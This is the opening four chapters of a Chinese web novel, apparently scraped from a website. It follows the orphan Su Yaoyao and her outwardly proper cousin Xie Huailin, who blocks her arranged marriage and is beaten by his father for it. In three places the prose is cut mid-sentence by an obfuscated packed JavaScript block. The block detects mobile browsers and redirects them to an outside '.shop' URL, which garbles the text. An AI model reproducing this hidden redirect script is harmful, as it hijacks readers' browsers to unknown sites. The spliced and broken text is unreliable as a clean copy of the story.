《古板表兄破防之后》 1. 第 1 章 三月春光,暖风袭人,是个明媚的好日子。 但苏窈窈的心情却不像春日天气这般好。 她百无聊赖地坐在窗前,单手托着下巴,面带愁色地盯着外头的海棠花看。 海棠花开得极好,粉蒸霞蔚,但苏窈窈此刻却没有心思欣赏。 春风将少女头上的发带扬起,轻柔地掠过她眉眼,苏窈窈的目光此刻格外呆滞,就连平日里看得入迷的香艳话本都吸引不了她,任凭风吹得哗啦作响。 “小姐,打听回来了!” 忽然,一阵声音惊扰了这份安静,苏窈窈一下回过神来,忙抱着跑过来的小丫鬟问:“快说快说!打听到什么了?” 小丫鬟气都没喘过来,稍微平复下呼吸后说道:“听说那人斗鸡走狗,眠花宿柳,是花楼常客呢!还在大街上与人斗殴,名声极差!” 这些话无异于一个个惊雷,把苏窈窈那些少女的小心思炸成了浆糊,什么怀春怀梦,全都没了。 “完了完了,完了完了……”苏窈窈大字型扑倒在床,不停地念着着这两个字,只觉得自己马上就要入土了。 “我以后的夫君就是这样的人吗?” “苏窈窈啊,你真的要完蛋了……” “完蛋了呜呜呜呜呜……” 以后,她还能看话本,还能到处去掏鸟窝,还能去和小姐妹游湖听戏,还能逛灯会赏花吗…… 哥哥还会给她做桂花糕,还会推着她荡秋千,还会…… “对啊……哥哥!” 一想到兄长,苏窈窈从锦绣被子里钻出来,圆滚滚的小脑袋露出,眼睛蹭的一下晶亮。 许是因为方才的一通翻滚,少女凝脂白玉的脸染上了些许红晕,像是春日清晨被日光照耀着的花,明晃晃的,也红艳艳的。 苏窈窈从被子里探出头后,因为想到了她兄长,方才脸上的愁色一扫而光。 她还有哥哥! 外祖母身体不好,她不想让外祖母为她忧心,但她可以去找兄长呀! 兄长最是疼她了! 她才不要嫁给那样的纨绔子弟…… 那些个纨绔子弟连兄长一根手指头都比不上呢。 兄长就是最好的! “兄长就是最好的……” 苏窈窈不禁喃喃念出了这句话,不知是因为方才在被子里一通乱滚,惹的脸颊泛了红,还是因为某些她自己都未曾意识到的,在兄妹感情掩盖下的,隐秘而禁忌的少女情思正在悄然生长,令她面上起了热意,热意又起潮红。 苏窈窈实在是……太依赖她兄长了。 虽然她和兄长只是表兄妹关系,但是在苏窈窈眼里,她和兄长却是比那些亲兄妹都要亲密许多。 她不能没有兄长呀…… 兄长也和她一样……不能没有她的吧。 是的吧…… 不管苏窈窈平日里如何的冒失,如何的只知玩乐,没心没肺,此时此刻她想起她自己和兄长,那些少女情思一冒上来,倒是生出了许多不明所以的愁绪。 少女脸颊的热更加滚烫,浮红渐起,是一片胜过海棠花的娇艳。 苏窈窈像一只小猫一样窝在被子里,双手抱着膝盖,尖尖的下巴搁在上面,那些隐秘的小心思又咕咚咕咚地在她心里冒起了泡泡。 她想起了第一次看到她兄长的时候。 那时候她刚来这谢府,第一眼看到她表兄便是看呆了,仰着小脑袋看面前的哥哥,呆呆地,都忘了要哭,小嘴微微地张开着。 她从来没看过这般好看的人呢。 这人也太好看了吧…… 在苏窈窈哭得呜哇乱叫,别的小孩子都说她是乡下来的野小孩,对她避之不及时,她这位全身上下干净得就像雪一样的表兄却走近了她。 他弯下腰,用他那丝绸白衣的袖子,轻柔地替她擦干净眼泪和鼻涕。 苏窈窈呆愣愣地看过去,只见面前也是一个十分好看的小孩。 一身白色如雪,身上挂着温润白玉,他的皮肤也和雪一样,很白,透着冷。 他虽然也是小孩,不过只比他们大两三岁,看上去却俨然像个小大人。 这样的人,是一身难以接近也让人不敢靠近的冷,就和寒冰一样,仿佛一靠近就会冷得抽气,浑身发抖,没有人会想靠近他。 整个谢氏,各宗各族的小孩都不喜欢他,也都讨厌他,暗地里还会叫他“那个疯女人的小孩”。 但是,他们只敢在背地里叫骂,只要他看那些孩子一眼,那些孩子便会怕得像鹌鹑一样,梗着脖子说不出一句话。 但苏窈窈却不这样觉得。 她觉得他很好看,觉得他身上那种淡淡的檀木香气很好闻,也觉得他很温暖,是个极善良的好人。 那一次,他不仅用他那洁净如雪的袖子给她擦了鼻涕,还给了她一块甜丝丝的桂花糕。 苏窈窈便是被这块桂花糕给收买了,一边吃一边哭,吃完后还拽着他袖子不放,用着小孩子奶声奶气的声音问他,可不以可以再给她吃一块。 还问他,以后,她能不能喊他哥哥。 苏窈窈不记得他过了多久才回答她,她只记得,他应了。 他是她的哥哥了。 在这个世上,她又多了一个亲人。 真好。 于是,自这以后,苏窈窈便是成了她表兄的小跟屁虫兼狗腿子,不仅哥哥长哥哥短,做什么都要找哥哥,还唯表兄是瞻,谁要说她表兄坏话,她定会有模有样地叉着腰骂回去。 只是苏窈窈不知道的是,那日在给她擦完眼泪鼻涕后,她心里善良温暖,一点都不嫌弃她脏的表兄却是把身上的这件衣裳扔进火里,烧了个干净,好似上面沾染了什么他无法忍受的污秽。 苏窈窈不知道这件事。 她永远都不会知道这件事。 在她苏窈窈面前,谢怀凛永远都会是那副她喜欢的兄长模样。 容姿光华冠世,看着她时永远都有着最温柔最和煦的笑,就如春风一般绕过她发丝,他不会嫌弃她吵嫌弃她闹,不会嫌弃她没有大家闺秀的模样,不会嫌弃她爱哭,哭起来眼泪鼻涕糊一脸,他会用他比雪还要干净的袖子给她擦干净,还会给她做桂花糕…… 他是那样好的兄长…… 苏窈窈的思绪从小时候的兄长一直跳到了长大后的兄长,当谢怀凛那月华般的身影掠过脑海时,苏窈窈肩膀不知所以地颤了下,缩了下,一股浅淡却折磨的麻穿过四肢百骸,她猛地惊醒了。 对,她得赶快去找兄长才行…… 她苏窈窈绝对不能嫁给那种纨绔子弟! 眼下十万火急,苏窈窈那些飘渺的少女情思很快被拉回,想到如今之事,她再也顾不上去琢磨心底那些说不清道不明的东西了,像惫懒的猫被踩了尾巴似的,一下从床上蹦起跑到了梳妆台前,乖乖正正地坐好,等小桃给她梳头,问道:“小桃,兄长他回来了吗?” 小桃方还沉浸在她家小姐的美貌里,看呆了好一会,这时听到苏窈窈这话才回过神,忙回答:“回来了,方才见大公子和老爷一块去了书房呢,早晨时大公子还过来了,问了小姐昨日膳食吃了多少,几时入眠,汤药可曾服下,睡得如何等等,还说今日晚上会下厨,做小姐爱吃的菜,做让厨房不要准备了。” 小桃说完这些话后,梳发的动作都顿了一下,似是有一阵阴冷的风自后背刮来,说不上来的瘆人。 大公子对她家小姐实在是太上心了。 除了穿衣这种事是她们婢女来,其他几乎都是他一手照料,丝毫不假手他人。 若是他在府,只要她家小姐想吃,必定会亲自下厨,且,二人一起吃饭时,长公子还会一口口地喂她家小姐吃,会亲手擦去她嘴角沾的饭粒…… 看过去当真是兄妹情深,感情甚笃,但是…… 小桃想到那些她无意中看到的画面,一种怪异又说不上来的感觉袭来,脸就莫名其妙地烧得厉害。 明明大公子和她家小姐不过是表兄妹的关系,但看过去确实比亲生的还要亲密。 可能真的是因为兄妹感情太好了吧……毕竟大公子自小就很护着她家小姐,谢府上下没人不知道。 而且,这也不是他们这些下人能议论的,大公子虽然看着好说话,但是…… 不知是小桃想到了什么,不禁打了个冷颤,梳子都差点掉到了地上。 但是,谢怀凛说的那些话,交代的那些事,在苏窈窈看来,在她和兄长之间是再正常不过了。 她们从小就是这样呀。 她和兄长,从小就这样好呢…… 而且,苏窈窈觉得,这样还不够好…… 不够,一点都不够。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480070|201686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她才不要离开兄长。 “哦……”于是,听到这些,苏窈窈不以为意地应了声,好似对这些都已习以为常,并不觉得这些事如何值得惊讶,她心事重重地低下头,手指绕着襦裙垂下的系带,有些出神地喃喃:“但我还是想快点见到兄长,我有重要的事要和他说呢……” —— 谢怀凛在他父亲书房。 博山炉里飘出如线烟雾,不知被哪灌进来的风吹散,一瞬无踪,刺鼻的沉香散满整间屋子。 谢怀凛行礼之后,身姿如竹,站于他父亲前面,看去规矩而守礼。 谢父谢玄思坐在书桌前,他并未急着说话,先品了一口茶。 一时之间,房间里只有上好白瓷碰撞的清脆声。 谢氏一族是在京城盘踞了有百年之余的世家大族,谢父谢玄思如今是这谢氏家主,也是当今宰相,权倾朝野。 他妻妾成群,子女众多,谢怀凛是他长子,也是他众多子女中的一个,有不同,也无不同。 要说不同的话,谢氏虽旁支众多,也有子弟入朝为官,但大多庸碌之辈,他们不是科举入仕,进不了中枢职位,不过一些闲散小官。 谢怀凛是谢氏子弟里面最出众,仕途之路平步青云的唯一之人。 他三岁识字,五岁通读六经大义,十六状元及第进了翰林院,后又在地方为官,政绩突出被调回京城进入刑部,能力突出,所断疑案难案无一错漏,两年后,便被当今圣上拔擢成了刑部侍郎。 如今,不过二十出头,前途无量。 若是谢氏想要延续这百年荣望,这谢氏家主之位,除了谢怀凛,谢玄思没有可传之人。 此时,谢怀凛站着,一身月白锦衣,银丝云纹织就,仅以一玉簪半束乌发,腰悬玉佩,温润无双,光华流转间,便是清贵逼人,只是在那月白锦衣的一角,却沾了点点鲜血。 他刚审完犯人回来。 凛审人时,他喜欢穿白衣。 良久,谢父总算是品完他手里的茶,开了口:“圣上特例拔擢,让你领了刑部侍郎一职,这对谢氏而言是好事。” 谢玄思能坐到如今高位,谢氏一族与其他世家大族在朝能盘根错节,屹立不倒,总有些需要遮掩的肮脏事。 朝中中枢职位皆有几大世家的人,但唯独在刑部伸不进手,刑部尚书吴道远是三朝元老,先帝指定重臣,也当过皇帝的老师,不背靠任何世家大族。 他如今年事已高,不久便会解甲归田,若是谢氏之人能趁此坐上此位,谢氏一族的势力便可真正盘踞整个朝野。 届时,就算皇帝想根除世家,集拢皇权,怕也是有心无力了 “刑部尚书吴道远年事已高,为父知道他器重你,当今刑部的大小案子都是你在处理,但刑部侍郎终究与尚书不同。” “刑部尚书位高权重,可以决定诸多事情……”谢父似乎意有所指。 而谢怀凛垂首站在谢父面前,姿态挑不出一丝差错,似在认真聆听他父亲教诲,脸上没什么表情。 谢父摸了摸胡须,瞥了眼这个谢氏的长子,眼里没有任何父子之间的温情,用父亲和家主的威严命令:“为父不管你用如何手段,三年内,你必须坐上刑部尚书之位。” “是。”谢怀凛回了一字,看起来的确是个合格的谢氏嫡长子。 谢父对此很满意,他喝了口茶,似乎想起来什么,又顺口提及了另一件事:“窈窈早已到了适婚的年纪,宋家差人来交换庚贴,这门亲事便这么定了,你同你们祖母说一声。” 嘎吱,窗棂被风吹开了一个角,风灌了进来,谢怀凛墨发被吹拂而起。 这是很平常的一句话。 苏窈窈的确已经到了适婚的年纪,她父母皆亡,自小便住在谢家,婚事理应由谢家长辈操持。 谢家老太太最是喜爱苏窈窈这个外孙女,定会舍不得她出嫁,谢父不想触老太太的霉头,因而叫自己的这个儿子去告知,也是他的一贯作风。 一切都无异,也不该有异。 如果说,谢怀凛的反应能如他平时那般,在这个父亲面前能如听到其他事一般,声音没什么起伏地应下的话…… 但此时此刻,这句话入耳,谢怀凛却没有应下。 像是被线牵动着的木偶忽然有了意识,机括转动,谢怀凛缓缓抬起了头,看向他父亲。 2. 第 2 章 规矩而守礼的谢怀凛正看着他父亲,谢氏家主。 谢怀凛很少有直视他父亲的时候。 他的眼睛是狭长的凤眼,不笑或垂着的时候,会给人一种带着寒气的清冷之感,如中空明月一般,薄而清透,笑起来又有温润如玉,朗月入怀之感。 但同时,他的瞳孔是极深的黑色,深得让人看不见他眼底任何的东西。 谢怀凛看了他父亲片刻,随即,他阖了阖眼,似是轻轻笑了下,朝他父亲走了过去。 谢玄思喝茶的动作一顿,微微皱起眉,抬眼看向朝自己的走来的长子,不怒自威。 屋内的风似乎打了起来,风吹打着窗户发出嘎吱声,谢怀凛走向他父亲身后,关上了被冷风吹开的窗户。 谢父见此,正襟的身体放松下来,鼻子耸动,哼嗤了一声。 谢怀凛关上窗户后,走到他父亲面前,白玉般的脸在这暗色似乎泛着冷色的光晕,面无表情地说:“窈窈还小,婚事不急。” 窗户被关上,冷风被隔绝在外,谢父又看向面前的儿子,端正守礼,姿态一如既往,儒家礼节挑不出丝毫差错。 但是,他却第一次否了他这个父亲说出的话。 谢玄思板着一张脸,眼里已有愠怒之色。 仿佛这件小小的事情便触及到了他身为父亲和谢氏家主,当朝宰相的威严一般。 谢怀凛忤逆了他这个父亲,便是对他的不敬,便是触犯了谢氏宗法。 若谢怀凛还是小时候,这时已经一顿棍棒,被罚跪祠堂了。 谢玄思一直认为,宗法规矩和棍棒惩罚最能教化人,尤其是对孩童。 他也以用这样的方法教导出了谢怀凛这个儿子为傲。 所以,谢怀凛此时此刻的“忤逆”让他怒不可遏。 “放肆!”谢父猛地拍了下桌子,“你在忤逆为父?” “你知道自己在说什么吗?” 谢怀凛仍旧没有表情,神色冷淡得像是戴上了面具,只一味地重复:“父亲,我在说,窈窈不能嫁。” 谢怀凛把这几个字又说了一遍。 谢父额头青筋狂跳之时,谢怀凛低垂拱手,看去姿态恭敬,依旧无可挑剔:“窈窈的婚事,我身为她的兄长,自会安排好,不劳父亲操心” 谢父怒道:“那宋家三公子能看上她苏窈窈,是她苏窈窈的福分,她一介孤女,宋氏乃四大世家之一,那宋家公子有哪里配不上她?” “宋家三公子顽劣不堪,他好色荒淫,是花楼常客,此事父亲定也知晓,窈窈同我亲近,信任我这个兄长,我待她亦如亲生妹妹,她父母亡故,我作为兄长,自当为她寻一门好亲事,谢氏子女众多,也不乏适龄婚嫁之人,父亲可另寻他人,与宋氏结姻。” 谢怀凛如此回复,语气平静却冰冷,在他这个妹妹的婚事上没有丝毫的退让之意,甚至还想好了解决此事的对策,说的是滴水不漏。 “逆子!”许是谢怀凛自小便遵循宗法规矩,对他这个父亲从未有过忤逆,此时此刻便更让谢父怒极。 胸腔处急剧地起伏着,谢父腾的一下起身,不知从哪拿出了根有婴儿手臂粗的棍棒,抡起棍棒就朝谢怀凛背上打去,极是顺手。 一声闷响,棍棒重重地砸在谢怀凛背上,接着,第二声,第三声…… 谢怀凛背没有弯,没有出声,但随着一下下的棍棒砸下,他唇角处开始缓缓渗出鲜血。 他抬手拭去唇边的一抹鲜红,在指尖捻开,又低下头,盯着指尖晕开的血,薄唇竟然挑起了一丝弧度。 棍棒还在落下,谢怀凛擦拭着嘴角的血,有些湿润的长睫垂下,长长的睫羽轻动间,在模糊的光影下,一少女明媚的笑靥骤然闪过眼前。 他眼皮蓦地一动,瞳孔似乎急遽地收缩了下。 下一刻,少女明媚的笑靥又消失无踪。 窈窈。 舌尖的鲜血混着这两个字,被他咽了下去。 一下,又一下。 谢父怒气未消,但想及自己这个大儿子如今在朝的地位,想起谢氏的兴衰荣辱,在屋内的血腥气弥漫开后,他终于将棍棒扔在一边。 谢氏一族还得仰仗他这长子。 不管他喜不喜欢这长子,也不论他是不是那疯女人的儿子,他终归是谢氏后人里最有出息的人。 尤其刑部那事,对谢氏而言尤为重要。 不然的话,今日谢玄思将他这儿子活活打死也不无可能。 忤逆和对他这个父亲不敬,对谢玄思而言是天大的罪名。 若是不遵守宗法规矩,不懂长幼尊卑,如何配当谢氏之人,又如何能振兴谢氏。 如今为了区区一个表妹,他这个儿子就敢忤逆他,无疑是挑战了他的权威。 “父亲教训的是。”受完这所谓的家法,谢怀凛擦干净流出的血,淡淡说了这么一句,神情似乎与方才并无不同,好似那些棍棒不曾落下。 他抬起头看向他父亲,甚至勾了勾唇角笑了起来,当真是温润如玉,君子风范:“只是……窈窈是姑母留下的唯一血脉,是祖母的掌上明珠,祖母宠爱窈窈,想必也不会同意这婚事。” 谢怀凛温和地笑着,搬出了祖母。 谢父一梗,将要发作的怒火被谢怀凛的这句话就这么堵了回去。 谢父最是好面子,又用儒家礼仪和宗法规矩教化着谢氏族人,若是不孝,便难以规训他人。 因而,这个不孝的罪名他自是不想担,也担不起。 谢父被谢怀凛的这句话堵得脸都成了紫色,他一口气出不来,厉声道:“我看你能护得了这丫头几时!” 谢怀凛唇角微弱的弧度一点点地消了下去。 谢父说的的确不错,如今谢怀凛可以搬出老夫人,老夫人是苏窈窈的外祖母,有谢老夫人在这,这婚事可以暂且搁下,但是,若老夫人…… 屋内的阳光在一点点地褪去。 “护她乃我这兄长的职责。” 谢怀凛又朝他父亲垂首行了一礼,他站在窗边被日光照着,看去温润如美玉,似乎仍是克己复礼,规行矩步的君子。 只是在光影的暗处,白色衣袍上沾的血在此刻格外刺目, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480071|201686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜红。 谢怀凛行了礼,对着他这父亲,用四平八稳的声音说:“若无其他事,儿子告退。” —— 谢怀凛从谢父书房出来,回了自己院子。 他回房换下染了血的衣袍,穿了身熏香常服,洁净之后,欲去看他妹妹。 谢怀凛每次下值回府,去看苏窈窈,皆会如此。 因而,苏窈窈永远都闻不到她兄长身上的血腥味,只会闻到她喜欢的,幽雅的清香。 谢怀凛走下台阶时,他稍稍阖眼,也不知为何,当他记挂着的妹妹闪过眼前时,唇齿间便是念出了“窈窈”二字。 这二字自舌尖滚过,向来冰冷的声线里莫名含了几分柔和。 “窈窈……” “哥哥!” “哥哥!” 谢怀凛一怔。 在那“窈窈”二字还在他唇舌间缠绕,少女清脆的,雀跃的声音骤然落在他耳边,他无意识的呢喃蓦地消弭。 也许是瞬间,也许过了片刻,总而言之,待谢怀凛回过神来,苏窈窈已经一头扎进了他怀里,熟稔地抱着她兄长,脸颊贴着她兄长胸膛,依恋地在他怀里蹭着。 当真像是兄妹间难以割舍的依恋。 相依为命不过如此。 苏窈窈扑了个满怀,谢怀凛怕她摔了,手下意识便是扶着她腰。 少女腰肢细如柳枝,他单手便可轻易掌握,谢怀凛的手握笔也握剑,手心和指尖也早已生了一层薄茧,但却没有哪一次像此刻这般小心。 好似他握着的是什么极其易碎的珍宝,他稍稍用力,便会轻易折断。 手放在少女细腰上,竟是不敢再动了。 但苏窈窈还紧紧地抱着他不放。 苏窈窈太依赖她这个兄长了,一看到就欢喜得什么都忘了,直接扑了上去,什么肌肤之亲男女大防统统被她扔到了一边,她也从来没有在意过这个。 在她心里,他是她的兄长,和别人不一样。 她喜欢和兄长在一起,既然喜欢,她便是想亲近。 她是这么想的,便也这么做了。 只是苏窈窈虽然身子纤细,但身段却是玲珑有致,美好丰盈,像正在肆意盛放的花。 不管苏窈窈有没有意识到,在不在意男女之别,此时此刻她扑到她兄长怀里,已是亲密无间,肌肤相亲,她身段丰盈,雪软便是与他胸膛毫无阻隔地贴到了一起。 谢怀凛一身冷寒之气,身体也冷硬,但怀里的小姑娘却是柔软而温暖,软绵又轻盈,淡淡香气溢出,仿佛浸润了整个春天的花香。 柔软碰触冷硬,绵软像是被什么粗暴地挤压揉/捏,变了形。 触感却依旧清晰,无可忽视。 男人轻薄的眼皮狠狠跳了下。 谢怀凛长睫罕见地颤着,眼神片刻的凝滞后,胸膛处绵软的触感传来,男人按在少女细腰处的手蓦地收紧。 在少女眉头将皱时,又松了力。 常年冷寒的手心忽然滚烫。 谢怀凛有些无奈地想,她何时,长这么大了。 3. 第 3 章 下一刻,谢怀凛推开了她。 骤然间被推开,独属于她兄长的气息一瞬烟消云散,那些依恋也被硬生生拉扯开来,苏窈窈一下愣怔,眼睛睁大。 “哥哥。”她呢喃着喊了一声,细不可闻的声音里带了些难以掩饰的委屈。 谢怀凛没有动,只是静静地看着她。 “哥哥?”苏窈窈又哼着喊了声哥哥,娇嗔的不解的难过的,全都在这一声哥哥里,她抬起头,用那双湿漉漉的大眼睛盯着谢怀凛看时,像只被遗弃的小猫,让人心都要纠扯起来。 谢怀凛却摇了摇头,他无可奈何地抬起手,指尖轻柔又小心地擦拭着少女眼角的水渍:“你长大了,窈窈,要懂得男女有别。” “可你是兄长!不……” “即便我是兄长。”他打断了她的话,沾着少女湿润眼泪的手垂下,那张本就冷如玉石的脸此刻没有任何表情,更显寒气森森。 苏窈窈心都颤了下,随即,她像个被大人训斥的小孩子,有些不服气地低下头。 她撇着嘴没说话,哼唧声不时响起,又百无聊赖地踢着脚下的小石子。 长大了又怎么样,是你自己说的,这辈子都是我的哥哥,会护着我一辈子。 还说,我对你做什么都可以。 哼,现在就开始说话不算话了! 混蛋哥哥! 但这些话,苏窈窈只敢在心里偷偷抱怨,一个字都不敢说出口。 谢怀凛极少对她展露这般严厉的时候,他自小对她哄着宠着,当真是对她比亲生妹妹还要亲,也是因为有外祖母和谢怀凛倚仗,苏窈窈才肆无忌惮到了如今。 苏窈窈此刻不知道她兄长是怎么了,怎么做了大官以后,和那些老学究待久了人也古板了,如今是连抱都抱不得了。 以前明明不是这样的。 兄长不爱她了吗? 咕的一声,被小姑娘委屈地踢到的石子滚落在谢怀凛脚下,似是轻轻地碰到了他的鞋子,随即又滚落一边。 轻到几乎没有的力度,谢怀凛却仿似被这力度砸了脚,他垂着的眼睫动了下,呼气如薄雾。 有一叹气声响起。 “来找兄长有何事?”谢怀凛终是往前走了一步,不远不近的距离,但因为他整个人高大而修长,他往前略微弯腰,那倾泻下来的阴影便将少女整个笼罩。 没有被抱着,距离也不近,但这也给了苏窈窈一种难以言喻的亲密感和安全感。 就好像,此时此刻她就是在被她哥哥抱着。 苏窈窈心里的气慢慢消了下去。 哥哥虽然古板,但她这个妹妹大方又包容,就不和他计较啦。 毕竟,他和她这么亲,打断骨头还连着筋呢。 气消了下去,苏窈窈立即想起来正事,她习惯了同她这个兄长亲昵,一时半会根本改不过来,想起那事一着急,便抬手勾着了她兄长手指,如荡秋千一般地晃着。 “我听别人说,舅舅他们要将我许配给那宋家公子,那宋家公子花天酒地,妥妥一纨绔子弟,哥哥……窈窈不想嫁,一点都不想嫁!” 她说着话,那小指无意识地勾着她兄长的指节,撒娇一般地蹭了蹭,随即,又毫不自知顺着指缝插进去,绵软小手与她兄长生了薄茧的大手,毫无阻隔的,严丝合缝地贴在了一处。 掌心相触,明明手中握着的是一块羊脂暖玉,但谢怀凛眸光微暗,黑眸中寒气漫散开,几乎是在瞬间,他抽回了手。 面色不动,神情一如往常,看过去,端正清肃,严厉古板得如兄如父。 苏窈窈手心落空了。 她先是看着她兄长愣了下,被他冷如雪的面容刺激得生了委屈之意,小姑娘咬了咬嘴唇,咬得很重,咬得嘴唇如花瓣娇艳,像是要流出花瓣汁液来,唇红齿白得灼人目。 但很快,苏窈窈便发现了,她兄长松开了她的手。 她的手心凉飕飕的,只有风一阵阵地拂过,许是这件事让她太过震惊了,她都没有很快地反应过来,等她迟缓地低下头,才傻傻地盯着空空的手心诶了声。 “诶?” “忘了兄长方才同你说了什么?”谢怀凛将被少女烙红的手背在身后,声音很低很沉,也很冷。 不让抱就算了,如今是牵手都不行了? “哪有这样的道理啊……”小姑娘眼睛一红,要哭了,小声地咕囔着,“哥哥之前说的话都不算数了吗?” 这句话,苏窈窈说得很轻。 她平时的确喜欢闹,也喜欢撒娇,喜欢无法无天地缠着她哥哥,但一旦她真正觉得难过,觉得委屈,反倒是只会默默地缩在小角落里。 她哥哥极少有这样对她冷的时候。 苏窈窈受不了。 “算数。” “兄长这辈子都会护着窈窈,疼着窈窈,只是窈窈……” “你长大了,知道吗?” 苏窈窈当然不知道。 这和长大有什么关系吗? 长大了我就不是你的妹妹了吗? 为什么不能抱,也不能牵手呢。 “罢了。”谢怀凛摸了摸她的头,说起了方才苏窈窈所提之事,“你方才所说的婚事,兄长已经在父亲面前否了,兄长不会让你嫁给那宋家公子。” 一听到这话,苏窈窈眼里的阴霾一扫而光,她蓦地抬起头,一双葡萄眼眸亮晶晶的。 “真的吗!” “真的。”少女绸缎般丝滑的秀发自手心而过,谢怀凛低垂着眼眸,眼睫无法自控地颤着。 许是连他自己都没意识到,他看着面前同他一起长大的小姑娘,脸上虽然还是惯常的没有表情,但薄唇边却无意识浮起了一个弧度。 “窈窈是哥哥的妹妹,哥哥会一辈子护着你,哥哥也会为你寻京城里最好的儿郎,只有这样的人,才配当我们窈窈的夫君。” 这些话,随着风拂过苏窈窈耳边,然后重重落下。 这些话分明说的没问题,甚至站在兄妹的角度来说,兄长说要为妹妹寻最好的儿郎当夫君,分明是因为哥哥极为看重这个妹妹。 她该高兴的呀。 但不知为何,苏窈窈眼里亮起的光芒一点点的,却肉眼可见的暗了下去。 她不喜欢听到这话。 少女花瓣般娇艳的唇似乎失了颜色,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480072|201686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股巨大的,不知所以的愁闷和难过瞬间铺天盖地地涌了上来,堵得她心口这种酸涩难忍,堵得她眼睛汪汪,难受得说不出一个字。 紧接着,那些愁闷和不知所以的难过又变成了要把她烧得发烫的怒火,少女白皙的脸颊都泛了红。 苏窈窈觉得很生气,等她抬起眼,看到她哥哥那张又关切又疑惑又常年焊上去的冷脸更觉得生气,于是她气呼呼地,双颊微鼓着,什么都没说,哼了一声,一下推开她兄长。 “谁要你替我找夫君啊……” 被自己妹妹推开,谢怀凛倏然怔住。 不知为何,苏窈窈对她兄长说的这话特别生气,烦闷之下口不择言地说:“哥哥总是管着我,真是太烦人了!我不要你管!” 苏窈窈一时气急,说完这些话后便跑远了,忽然之间,在谢怀凛面前,在她站着的地方,只剩淡淡花香气萦绕不散。 而谢怀凛的手僵在半空,还保持着方才抚摸少女秀发的姿势。 如水般如绸缎般丝滑的头发仿若还在他指腕间缠绕,辗转,自他的指节,指尖,指缝,手心,一一掠过。 半晌,带着冷意的晚风吹拂而过,少女遗留下来的香气却是久久未散。 良久,谢怀凛收回手,垂了下去。 那玉石般清冷,苍白到透明的手以一种怪异的姿势弯曲着,那青色的经脉清晰可见,像极了玉石裂开的道道缝隙。 这似乎是他这个妹妹,第一次说他烦人,也是她第一回说,不要他管。 不要他管么。 脊背处被刻意压下的疼痛骤然之间蔓延开来,谢怀凛喉间涌上一阵腥甜。 他闷哼一声,神色却无异,只机械抬手,擦去唇边溢出的血。 —— 为什么会不理她兄长,为什么要和她兄长生气,苏窈窈自己也说不出来缘由。 那天她一下气昏了头,就这么跑了,跑了…… 她跑回自己房间,不知为何是越想越生气,越想,那股不知道从哪涌出的剧烈情绪就将她淹了个透,她简直就要伤心坏了,钻进被子里就这样气着委屈着,小声啜泣着睡了过去。 直至第二日她起来,却是对自己昨日生气的缘由很是疑惑。 按理,她听到兄长和她说,她不用与那宋家公子成亲,他会为她另寻夫君,她该高兴才是,可是那时候,她胸口这里为什么会突然涌起一股非常难过的情绪,再接着,怒火不知为何蹿起,她竟是一下发怒,和兄长发脾气后就这么跑了…… 她为什么要跑呢。 为什么要生气,为什么要和兄长发脾气呢。 为什么在听到兄长和她说,会为她寻京城里最好的儿郎后,她会生气地说她兄长烦人呢。 兄长会不会伤心啊…… 伤人的话她不知道怎么就说出了口,苏窈窈睡醒想起昨日之事,亦是觉得不该,她没有任何犹豫,想立刻去找她兄长,和她兄长道歉。 尽管她回想起她兄长的那句话,仍旧会很奇怪地觉得难过。 但她苏窈窈是知错就改的人。 而且,她不想她兄长伤心。 那可是她哥哥呢。 4. 第 4 章 一想到这,苏窈窈什么瞌睡都醒了,她简单洗漱了一下,便朝她兄长的院子去了。 只是她向来起得晚,等她洗漱过后,朝祖母和夫人问安之后,再去找谢怀凛时,谢怀凛早已上朝去了。 她没找到她兄长。 苏窈窈有些呆地看着谢怀凛那紧闭的房门,风一吹,院落里的海棠花树还很是应景地往下落着花瓣,几片落在少女发间,又随着绸带飘下,像是一声悠长的叹息。 苏窈窈此刻很惆怅,惆怅得都要赋诗一首了。 她看了好一会,看到花瓣被风吹落了一地,眼睛酸涩难忍时,她才反应过来,颇为老成地叹了口气,那平日里粉白粉白的,明媚到透着红润的脸颊此刻却因为忧愁而显得有些苍白。 她忽然觉得眼睛好干涩,忍不住抬手擦了擦眼睛,苏窈窈皮肤薄,只轻轻地擦了两下,眼尾这里便是染了红,看去就像哭了一般。 不过此时此刻,苏窈窈隔了一夜没见到兄长,的确是难过得想掉眼泪。 除却这种无法摆脱,近乎融进了骨血里的依赖外,那不知忽而何起的气愤又实在让她愁闷。 心好像在被一点点地啃咬,又好似被放在油锅上煎熬。 为什么她会这么想念兄长,又为什么昨天会这么生气,和兄长发脾气呢。 她在生什么气?兄长会不会伤心啊…… 